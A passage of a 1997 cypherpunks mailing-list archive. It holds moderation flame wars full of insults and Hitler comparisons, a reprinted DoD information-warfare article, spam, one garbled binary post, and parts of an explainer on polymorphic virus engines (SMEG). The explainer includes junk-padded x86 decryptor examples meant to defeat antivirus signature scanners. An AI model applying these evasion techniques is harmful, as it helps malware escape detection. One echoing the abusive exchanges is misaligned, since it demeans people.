SMEG generates the decryptor proper in the following way:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Inside SMEG there is a table containing a selection of common 8086
instructions used in decryptors, such as XOR [index],reg Etc.  These are,
again, stored in SKELETON FORM with some control bytes used by the decryptor
generator.  Also, inside SMEG, there are several pre-coded decryptors stored
in a compressed form.  On average, a complete decryptor can be described to
the decryptor generator in as few as 11 bytes and adding to the list of
pre-coded decryptors is both painless and economical with space!

SMEG generates the Polymorphed decryptor in the following way:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

First it chooses, at random, one of the pre-coded compressed decryptors. 
Next it goes into a loop uncompressing each decryptor instruction, plugging
in the required registers, storing it and then generating (for each real
instruction) a random amount of random instructions.  This loop repeats until
the complete decryptor has been constructed.  The final result is a random
size, random register, random patterned decryptor!

It should also be noted that whenever SMEG generates an INDEXed instruction
it uses either SI, DI or BX at random, also it sometimes uses a random offset.
For example, say the encrypted code started at address 10h, the following
could be used to index this address:

       MOV   SI,10h     ;Start address
       MOV   AL,[SI]    ;Index from initial address

But sometimes SMEG will generate something like the following, again based on
the encrypted code starting at address 10h:

       MOV   DI,0BFAAh      ;Indirect start address
       MOV   AL,[DI+4066h)  ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!!

These indexed and initial values are picked at complete random, and the
examples of 0BFAAh and 4066h are valid, but next time they will be completely
different!

The following are two decryptors that were generated with my SMEG Polymorph
Engine.  It should be noted that I generated 4000 examples with no two alike!
Unfortunately I ran out of hard drive space!  But it is fairly safe to say
that the total number of decryptor combinations would run into the BILLIONS!

All the lines marked with ";junk" in the following listings indicate random
junk instructions that were inserted throughout the actual decryptor, note
that SMEG has the ability to generate junk CALLS to false SUBROUTINES, as
well as general junk conditional jumps!  All lines marked with a * indicate
an actual part of the decryptor proper.  I chose the two generations shown
because their sizes were similar, 386 and 480 bytes.  SMEG produces
decryptors ranging in size from as little as 288 to as much as 1536 bytes.
Even if two decryptors are generated that are the same size the chances of
them being the same are, literally, billions to one!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Success@midlex.com ()
Date: Tue, 7 Jan 1997 02:16:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701071014.CAA22007@lithuania.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Àÿÿÿÿÿÿÿÿÿÿÿ¿ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿA€€;4­!H@˜åÊC¥Ð€EŒˆP†6  5 ‹
PP*²ÈLE€,3@$0-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 7 Jan 1997 10:08:47 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <85263054520588@cs26.cs.auckland.ac.nz>
Message-ID: <199701071820.KAA03437@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


>  
> I'm still a bit nervous about what the reaction will be though - won't the 
> US government (and anyone else pushing DES) be able to say "It took 10,000 
> Pentiums several weeks, noone would bother doing that, so it's safe" (with a 
> possible side order of "Safer-SK64 is 256 times as secure, anyone we really 
> like can use that provided they hand over the keys in advance").
>  

	I'm nervous too, but consider "for only a $10k reward, look at
the effort people went through. People are using DES to protect things
*much* more valuable than $10k."

> Peter.
>  
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net 		    C2Net is having a party: http://www.c2.net/party/
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 08:27:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: An observation on the moderation thread.
In-Reply-To: <32D1FA5C.6D04@gte.net>
Message-ID: <0k46ZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Roy M. Silvernail wrote:
> > Of passing interest: I'm seeing the majority of complaints about list
> > moderation only as they are quoted in others' replies, because the
> > origional complainents are already in my killfile.
> 
> So this jerk (number ???) admits the problem is already solved,
> then goes on to say "yeah, Sandy, block some more, just in case
> my killfile misses one".

What bothers this control freak is not the chance that something I
might say would end up in his mailbox (he can prevent it, although he
probably lies about having killfiled me), but my ability to speak to
other people interested in what I have to say.  He'd like to stop us
from exchanging private e-mail if he could.

> 
> You would have loved Hitler.  When he got wound up, everyone stood
> up and cheered.  Public TV still celebrates Henry Ford, one of
> Hitler's idols.  Schools for children in America still celebrate
> Andrew Jackson, genocidal racist though he was.
> 
> You're nothing new, Roy.  Just another fascistic voice calling for
> the Final Solution.
> 

Yes - have you read _Mein Kampf? I once posted an article showing a
great similarity between what Hitler advocated in 1926 and what the
"cypher punks" advocate now - just some quotes in parallel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 08:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation=YES
In-Reply-To: <199701070913.BAA17074@count04.mry.scruznet.com>
Message-ID: <ic56ZD6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com writes:

> soon you too will disappear :)

Yes - is this mailing list being censored by Sandy yet?

>   as to the budding facist comment
>   I got death threats and called
> traitor when I published PGP 1.0 and I endured
> 5 long years of federal harassment to listen to YOU???

You've done many good things Kelly.

>    no I dont think so...

But now you advocate censorship. If you don't want to listen to
Dale, it's your private choice (and your loss).  But you want to impose
your choice on others.  You don't want me to be able to listen to Dale or
Dale to be able to listen to me, even when it's out of your hearing.
You want Ray Arachelanian to be able to post lies about people and his
victims to be unable to refute his libel in the same forum.

I'm surprised and disappointed and I urge you to reconsider your position.

> PLEASE consider this an official request 
> to MODERATE the cypherpunks list
>    kelly goen - Publisher PGP 1.0 June 5 1991
>    
>    now it seems not only a traitor but a budding facist...

And that's really a pity.

> BTW this account is being deleted tonite and I will gladly resubscribe
> to a moderated list under a different name and host.domain than cypherpunk 

You mean your kelly@netcom.com lifetime account?


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 08:28:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701070610.AAA02851@manifold.algebra.com>
Message-ID: <Do56ZD7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> You gave us another example of why charters that restrict moderators'
> ability to reject posts are good. In soc.culture.russian.moderated
> we had a similar problem (now resolved completely), when certain anonymous
> posters posted articles that looked like articles from newspapers.

Since not a lot of people on this list read soc.culture.*, I'll give a
slightly different view of how Igor's moderation works in practice.

The charter of s.c.r.m prohibits flames and gratuitous obscenities.
However this rule is not enforced.  Certain friends of Igor (including
some of the s.c.r.m moderators) habitually cross-post articles between
soc.culture.russian.moderated, soc.culture.russian (unmoderated), and
a dozen other newsgroups saying things like: "<The s.c.r FAQ maintainer>
is a cocksucker and a motherfucker and has been arrested for sexually
molesting small children".  The targets of the flames are not permitted
to respond on soc.culture.russian.moderated (there's a "blacklist" of
people whose submissions are junked automatically, w/o a human moderator
ever seeing them).  Some time ago Igor invited me to post to s.c.r.m.
I submitted an article and was given to understand that I'm not welcome
to post to s.c.r.m irrespective of what I have to say.

I'm sure that this model suits "cypher punks" well.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Tue, 7 Jan 1997 11:33:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701071855.KAA05718@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain



NOVEMBER 11, 1996 


INFORMATION WARFARE

U.S. sitting duck, DOD panel predicts

BY BOB BREWIN AND HEATHER HARRELD (antenna@fcw.com and heather_harreld@fcw.com)

The dependence of the United States on computers and communications systems to run its critical power, finance and transportation systems
places the country at risk in the event of an information warfare (IW) attack, according to a report prepared by a top-level Defense Department
advisory panel. This reliance, it said, has "created a tunnel of vulnerability previously unrealized in the history of conflict" and could have a
"catastrophic effect on the ability of [DOD] to fulfill its mission." 

The report of the Defense Science Board Task Force on Information Warfare-Defense (IW-D), obtained by Federal Computer Week, called the
threat of an IW attack "significant," adding that the nation's "vulnerabilities are numerous, [and] the countermeasures are extremely limited...." 

Citing a specific example, the DSB report said one building in Savannah, Ga., (a Bell South switching facility, FCW learned) houses not only a
vital communications hub but information technology systems supporting key electric power and transportation companies. Because Savannah
serves as a vital port of embarkation for Army troops based in that area, an IW attack against that one building would "make it impossible to
deploy military forces at the pace specified in operations plans." 

The DSB task force, chaired by two former assistant secretaries of Defense for command, control, communications and intelligence (ASD/C3I),
Duane Andrews and Donald Latham, viewed the IW problem as so severe that it urged the Pentagon to embark immediately on a crash course to
protect against this new form of warfare, providing detailed policy, funding and legal recommendations. 

These recommendations included a controversial call for the Pentagon to have the legal power to protect nongovernmental portions of the
infrastructure in the name of "the common defense." To defend DOD and critical nongovernmental systems against IW, the report recommends
new legal authority that will allow "DOD, law enforcement and intelligence agencies to conduct efficient, coordinated monitoring of attacks on the
critical civilian information infrastructure...." 

In carving out a position for DOD to take on this role in the civil sector, the report bluntly summed up the problem: "We should not forget
information warfare is a form of warfare, not a crime or an act of terror." It took an equally blunt approach on how the Pentagon should respond
to such an attack or intrusion. "The response could entail civil or criminal prosecution, use of military force...diplomatic initiatives or economic
mandates." 

DSB, which said it has urged immediate and concerted action on the IW-D front for the past three years, had a number of recommendations on
how DOD should get its own information warfare act together. The report said it would take $3 billion over the next five years to translate these
recommendations into reality. 

This includes establishing the ASD/C3I as the single focal point for IW-D within the department - a necessary step to spread the diffusion of IW
responsibilities among the services and Defense agencies, according to a source familiar with the thinking of the task force. Emmett Paige Jr.,
ASD/C3I, said he had read a copy of the DSB briefing to deputy secretary of Defense John White. Paige said, "I saw nothing in that briefing I do
not agree with. I strongly support everything in their briefing." 

DISA's Role
The Defense Information Systems Agency would take on a pivotal IW-D role, based on the recommendations in the report. It called for DISA to
set up an IW operations center to provide tactical warning, attack, assessment and emergency response with infrastructure restoration capabilities,
and it pegged funding for this center at $275 million over five years. DISA also should establish a joint office for system, network and
infrastructure design, the report said, with funding estimated at $225 million over five years. 

DISA director Lt. Gen. Al Edmonds has already acted on these recommendations, setting up last week a Global Operations and Security Center
and a Programs office (see Intercepts). 

Edmonds said DISA decided not to wait to have these recommendations approved. "We're doing this on our own. We want a new focus
here...and we're funding it out of our own budget [by] prioritizing on Information Warfare-Defense. The DSB is right on target, and they got us
rolling." 

The Pentagon also needs to refocus its IW research and development, the report said, recommending $580 million over five years. This poses a
tough challenge, DSB said, because "prior R&D efforts have been in areas such as computer and network security.... Little attention has been paid
to surviving willful malicious attack, or detecting and eliminating corrupt software." 

The DSB task force also took some potshots at some well-established and well-entrenched DOD IW policies and programs. Looking at the
national debate over the key escrow encryption systems backed by the Clinton administration, the DSB report dismissed encryption as a
"distraction.... Encryption simply does not solve all of the information security problems some are led to believe." 

The National Security Agency's long-running Multilevel-Secure Information Systems Security Initiative also received short shrift from the task
force, which suggested commercial products such as security "tokens" rather than passwords could go a long way in the near term toward
resolving DOD's security problems. 

The task force also brought sober realism to the theme of "information superiority" promulgated by all the services during the past several years to
such an extent that it has become almost a mantra. "The doctrine of information superiority assumes the availability of information and information
technology - a dangerous assumption.... Published service and joint doctrine does not address the operational implications of a failure of
information and technology," the report said. 

The intelligence community's ability to handle IW also came in for a similar assessment by the task force, which called IW "a nontraditional
intelligence problem [that is]...not easily discernible by traditional intelligence." Traditional intelligence skills "are largely irrelevant in the information
warfare environment." Percy Pierre, an electrical engineering professor at Michigan State University and a member of the DSB task force, said
DOD's interest in protecting critical infrastructure is a result of "the recognition that the Defense Department is dependent on private-sector assets
for logistical support and other types of support." 

Any move by government toward civil electronic defense must be delicately balanced to avoid antagonizing the private sector, said Winn
Schwartau, a security consultant and author of several information warfare books. 

"For them to blatantly say, `We want to monitor,' that creates a huge problem," he said. "If the government says, `You don't worry, private sector,
we're going to take care of you,' they're going to have a problem."



                                                                

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                                    If you haven't signed up yet, fill out the registration form.
                                   Mail questions about this Web page to webmaster@fcw.com.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 7 Jan 1997 13:29:14 -0800 (PST)
To: SButler@chemson.com
Subject: Re: FW: Modified Token Posting Scheme
Message-ID: <199701071914.LAA04906@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> >> How about this simple policy scheme:
> >>
> >>   1) posts from known list members forwarded to list automatically
> >>   2) posts with "approval cookie" also forwarded automatically
> >>   3) otherwise, forwarded only after approval by moderator,
> 
> 
> So does this mean that any personal attacks or useless and annoying
> drivel from the likes of Timmy May, Ray Arachelian and Sandy Sandford
> would be automatically forwarded to the mailing list even though they
> are frequently more annoying than the spam posted by the people who
> would be censored by Gilmore ?

No, just the opposite.  My scheme allows people to route around moderation
by authenticating their posts.  The goal here is to keep *random* stuff,
such as spam, off the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 7 Jan 1997 08:22:48 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: FTC Online Privacy Report
In-Reply-To: <1.5.4.32.19970107133736.00682ea0@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970107111613.4634A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


The report is a summary of the June 4/5 meeting where the FTC heard from a
half-dozen panels of privacy advocates, consumer groups, and businesses.
I posted a note about it and the legislation swirling around it to
cypherpunks then, I believe.

The hearing/workshop was tense at times. The privacy advocates and firms
were at odds: companies proposed free-market solutions. The nonprofit
lobby groups said it wouldn't work. EPIC, for instance, is one of the
groups pushing for greater privacy protection through legislation and
regulation.

-Declan


On Tue, 7 Jan 1997, John Young wrote:

> The Federal Trade Commission released yesterday:
> 
> "Consumer Privacy on the Global Information Infrastructure" 
> 
>    http://www.ftc.gov/bcp/conline/pubs/privacy/privacy1.htm
> 
> Reuters 1-6-97:
> 
>   The Federal Trade Commission, which last year held a conference 
>   on privacy issues, said participants at the gathering agreed that 
>   businesses have four ways to protect consumer privacy:
> 
>   -- Notify consumers about how personal information collected online is
>   used.
> 
>   -- Give consumers a choice about whether and how their personal
>   information is used.
> 
>   -- Ensure the security of personal information is protected.
> 
>   -- Give consumers access to their own personal information to ensure its
>   accuracy.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 09:12:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation=YES
In-Reply-To: <32D223C1.7852@gte.net>
Message-ID: <9666ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> cypherpunks@count04.mry.scruznet.com wrote:
> > soon you too will disappear :)
> >   as to the budding facist comment
> >   I got death threats and called
> > traitor when I published PGP 1.0 and I endured
> > 5 long years of federal harassment to listen to YOU???
> >    no I dont think so...
> > PLEASE consider this an official request
> > to MODERATE the cypherpunks list
> >    kelly goen - Publisher PGP 1.0 June 5 1991
> >    now it seems not only a traitor but a budding facist...
> > BTW this account is being deleted tonite and I will gladly resubscribe
> > to a moderated list under a different name and host.domain than cypherpunk
> 
> So you endured the Nazi persecution, and then you became one of them.
> Congratulations.
> 


Isn't this known as "Stockhold syndrom" after some hostages who
became their captors' defenders?  It's a kind of defense reaction.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 7 Jan 1997 13:23:53 -0800 (PST)
To: sunder@brainlink.com
Subject: Re: Modified Token Posting Scheme
Message-ID: <199701071946.LAA05201@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> > > How about this simple policy scheme:
> > >
> > >   1) posts from known list members forwarded to list automatically
> > >   2) posts with "approval cookie" also forwarded automatically
> > >   3) otherwise, forwarded only after approval by moderator,
> > 
> > I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
> > is approved automatically, and when a victim tries to defend himself
> > and to point out that Timmy May is a liar, the response is delayed
> > and probably rejected by the moderator.
> > 
> > It's been said that the best response to speech one doesn't like
> > is more speech. "Cypher punks" want to take away the victim's
> > ability to respond to the lies being posted on their mailing list.
> 
> You are far from being the victim of anything.  If anything you're a big 
> huge thug who spams the list, posts racist flames, posts homophobic 
> flames, uses social engineering to find out info on his "enemies" and 
> then posts that info online with requests that others send flames to that 
> person's employers.

Besides, in my scheme, the first two options are explicitly there to
avoid moderation.  Just post under your real name or generate an
authentication cookie.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 7 Jan 1997 09:06:23 -0800 (PST)
To: "Dimitri Vulis, spammer, racist and homophobe" <dlv@bwalk.dm.com>
Subject: Re: Moderation
In-Reply-To: <J445ZD5w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970107114827.29017B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dimitri Vulis, spammer, racist and homophobe wrote:

> When Ray Arachelian posts lies to this mailing list, he also forwards
> them to his censored mailing list. When the victims of Arachelian's
> libel refute his lies, Ray does not forward their responses to his
> mailing list. Sandy liked this setup so much, he wants the whole
> "cypher punks" mailing list to be censored this way.

"The grapes are probably Sour" says Vileus.

Sorry Kook, your spam doesn't make it to the filtered list, though I'd 
hate to admit it, your sane posts, the ones that you write once every 
blue moon, do in fact make it on the filtered list.  You are only 
complaining because people chose to not hear your inane spam, lies, 
racism, and blatant homophobic banter.

And no, my complaints about you, which you claim are lies, do not get 
sent to the filtered list, they get sent to your ISP for their racist slants.
 
> No wonder - "cypher punks" are opposed to wide availability of crypto,
> privacy, secure communications, and free speech in general. As they
> keep saying, free speech should only be available to the "elite" who
> will use it "responsibly" - no free speech for Jews or homophobes.

Hey, if you want cypherpunks mail with spam, subscribe to 
cypherpunks@toad.com, want it without spam, subscribe to one of the 
filtered lists.  Since filtering will soon be done at toad.com, you will 
have the choice there.

Oh, of course, since you spammed the list with so much vitriol and flames,
you can't subscribe, so you'll just have to get your cypherpunks mail
under a pseudonym, or from usenet or the web archives or whatever.  Also, 
since you do not consider yourself a cypherpunk, nor are on the list 
(except to flame it), your oppinions are as useful as a steering wheel on 
a fish's tail.

As for being a Jew or a homophobe, you are welcome to be whatever it is
you like to be, even an Armenian hating racist, and you are free to
discuss your religion, ethnicity, racism, and sexual prefrences with
whomever you want in the appropriate forums - if they happen to have cyrpo
relavance, feel free to post them here, otherwise find another place to
vent your angst.  Hell, you are free to create al.fan.vulis and discuss 
yourself there! Cypherpunks is for crypto-anarchy oriented posts ONLY 
regardless of what you claim, believe or bitch.

Sorry Vulis, your lies don't fool anyone.  Don't quit your day job - if 
you have one.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 7 Jan 1997 09:17:30 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <ss45ZD4w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970107121200.29778A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ed.falk@Eng.Sun.COM (Ed Falk) writes:
> 
> > How about this simple policy scheme:
> >
> >   1) posts from known list members forwarded to list automatically
> >   2) posts with "approval cookie" also forwarded automatically
> >   3) otherwise, forwarded only after approval by moderator,
> 
> I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
> is approved automatically, and when a victim tries to defend himself
> and to point out that Timmy May is a liar, the response is delayed
> and probably rejected by the moderator.
> 
> It's been said that the best response to speech one doesn't like
> is more speech. "Cypher punks" want to take away the victim's
> ability to respond to the lies being posted on their mailing list.

You are far from being the victim of anything.  If anything you're a big 
huge thug who spams the list, posts racist flames, posts homophobic 
flames, uses social engineering to find out info on his "enemies" and 
then posts that info online with requests that others send flames to that 
person's employers.

These are plain facts, and if anyone wants to verify them, all they need 
do is a net search on the word "Vulis"

Your only reason for bitching here is that your glorious spams will no 
longer be posted to the list which you've been kicked off of for abuse, 
and continue to abuse.



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "rgwjr" <rgw@bellsouth.net>
Date: Tue, 7 Jan 1997 14:02:01 -0800 (PST)
To: rgw@bellsouth.net
Subject: American Cyber Mall
Message-ID: <199701071826.NAA15593@mail.mia.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


AMERICAN  CYBER  MALL
http://www.usacm.com

FREE WEB PAGE CONTEST, WEEKLY DRAWING !!!

Visit the American Cyber Mall
http://www.usacm.com
and you can register to win a FREE web page
with FREE 12 months hosting !!!

Just our way of say thanks for visiting our new
award winning cyber mall.

American Cyber Mall     http://www.usacm.com

TO BE REMOVED FROM LIST  REPLY WITH SUBJECT = REMOVE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Tunnicliffe <intaus2@ois.net.au>
Date: Mon, 6 Jan 1997 21:20:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PWL's how ?
Message-ID: <199701070519.NAA00657@hawk.ois.net.au>
MIME-Version: 1.0
Content-Type: text/plain


At 21:34 2/01/97 -0500, you wrote:
>How has the Windows PWL's been de-crytped ?  
>
>Also I don't like to seem too much like a rookie, but was is  a polymorphic
>virus ?
>                   .           Marc Theriault     *       .   *          +
>   *      .    *             Email: WILL@BBSI.NET        *    .   * .
>                   .+                ___            .
> .    *   +             ___....-----'---'-----....___        .    .
>                  =========================================       +  *
>   *           .         ___'---..._______...---'___        * .    .    
>

Read this for an understanding of a polymorhphic virus:

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ"
º A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE º
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ1/4

A small glossary of terms:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

      ENCRYPT     = Transform from it's original form to an altered form.
      DECRYPT     = Transform from it's altered form to it's original form.
      KEY         = The register or value used to encrypt/decrypt with.
      SLIDING KEY = A KEY value that is INCREASED or DECREASED on each loop.
      COUNT       = The number of bytes in the encrypted code or data.
      INDEX       = A pointer to the encrypted code or data.
      SIGNATURE   = A unique group of bytes that can be used to check against
                    a programs content in the hope of detecting a particular
                    program.
      HEURISTIC   = A set of well defined rules to apply to a problem in the
                    hope of achieving a known result.

Question:  What is a Polymorph?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Answer:    Well, the Longman English Dictionary defines it as:

   "POLYMORPHOUS also POLYMORPHIC adj fml or tech.
     EXISTING IN VARIOUS DIFFERENT FORMS."

In other words, something that has the ability to change it's shape.  Other
ways to describe such a thing might be;  Mutable, Metamorphic, Etc...

Question:  What is a Polymorph Engine?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Answer:    A program with the abilities to encrypt (or jumble up) another
           program or data and provide a unique decryptor for it, it must
           do this in such a way that no two encryptions of the same program
           or data will look alike.

Example:  Take the following ultra-simple decryptor:

               MOV      SI,jumbled_data     ;Point to the jumbled data
               MOV      CX,10               ;Ten bytes to decrypt
main_loop:     XOR      BYTE PTR [SI],55    ;XOR (un_scramble!) a byte
               INC      SI                  ;Next byte
               LOOP     main_loop           ;Loop for the 9 remaining bytes

This small program will XOR the ten bytes at the location pointed to by SI
with the value 55.  Providing the ten bytes were XORed with 55 prior to
running this decryptor the ten bytes will be restored to their original
state.  If you are unsure as to why this is, brush up on your XOR logic!!

Ok, so you might say that if you change the KEY value on each generation it
will become Polymorphic?  Well, yes and no!  If you did that, the encrypted
portion would be Polymorphic, but the decryptor would still remain mostly the
same, the only change begin the KEY value!  So, a signature scanner that
allows WILDCARDS (and most do!) would still be able to find your decryptor!

One way you could fool some signature scanners is to swap around some of the
instructions.  So, with this in mind, the above decryptor might look like:

               MOV      CX,10
               MOV      SI,jumbled_data
main_loop:     XOR      BYTE PTR [SI],55
               INC      SI
               LOOP     main_loop

As you can see, still not much of a change, not really enough to fool some of
the better signature scanners.

"GET TO THE POINT!  WHAT IS A TRUE POLYMORPH?", I hear you cry!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Well, a "true" Polymorph would be a decryptor that looks completely different
on each generation!  Take the following decryptor:

               MOV      CX,10
               NOP
               NOP
               MOV      SI,jumbled_data
               NOP
main_loop:     NOP
               NOP
               XOR      BYTE PTR [SI],55
               NOP
               INC      SI
               NOP
               NOP
               NOP
               NOP
               LOOP     main_loop

This decryptor is the same as the one before it, but it has has a few random
NOP instructions peppered throughout itself.  On each generation you would
vary the amount of NOPs after each instruction.  This is a Polymorph in it's
simplest form.  Still, most of the good signature scanners would have no
problem with such a simple Polymorph.  They would simply skip the NOPs, thus
having a clear view of the decryptor, to which they could apply a signature!

No, a "true" Polymorph has to be far far more complex then this!  Instead of
peppering NOPs throughout the decryptor it would pepper totally random amounts
of totally random 8086 instructions, including JUMPS and CALLS.  It would
also use a different main decryptor (possibly from a selection of pre-coded
ones) and would alter all the registers that the decryptor uses on each
generation, making sure that the JUNK code that it generates doesn't destroy
any of the registers used by the real decryptor!  So, with these rules in
mind, here is our simple decryptor again:

               MOV      DX,10              ;Real part of the decryptor!  
               MOV      SI,1234            ;junk
               AND      AX,[SI+1234]       ;junk
               CLD                         ;junk
               MOV      DI,jumbled_data    ;Real part of the decryptor!
               TEST     [SI+1234],BL       ;junk
               OR       AL,CL              ;junk
main_loop:     ADD      SI,SI              ;junk instruction, real loop!
               XOR      AX,1234            ;junk
               XOR      BYTE PTR [DI],55   ;Real part of the decryptor!
               SUB      SI,123             ;junk
               INC      DI                 ;Real part of the decryptor!
               TEST     DX,1234            ;junk
               AND      AL,[BP+1234]       ;junk
               DEC      DX                 ;Real part of the decryptor!
               NOP                         ;junk
               XOR      AX,DX              ;junk
               SBB      AX,[SI+1234]       ;junk
               AND      DX,DX              ;Real part of the decryptor!
               JNZ      main_loop          ;Real part of the decryptor!

As you should be able to see, quite a mess!!  But, still executable code.
It is essential that any junk code generated by the Polymorph Engine is
executable, as it is going to be peppered throughout the decryptor.  Note, in
this example, that some of the junk instructions use registers that we are
using in the decryptor!  This is fine, providing the values in these
registers aren't destroyed.  Also note, that now we have random registers and
random instructions on each generation it makes signature scanning (even for
the clever signature scanners) impossible!  Instead, an HEURISTIC method must
be used, which can lead to false alarms.

So, a Polymorph Engine can be summed up into three major parts:
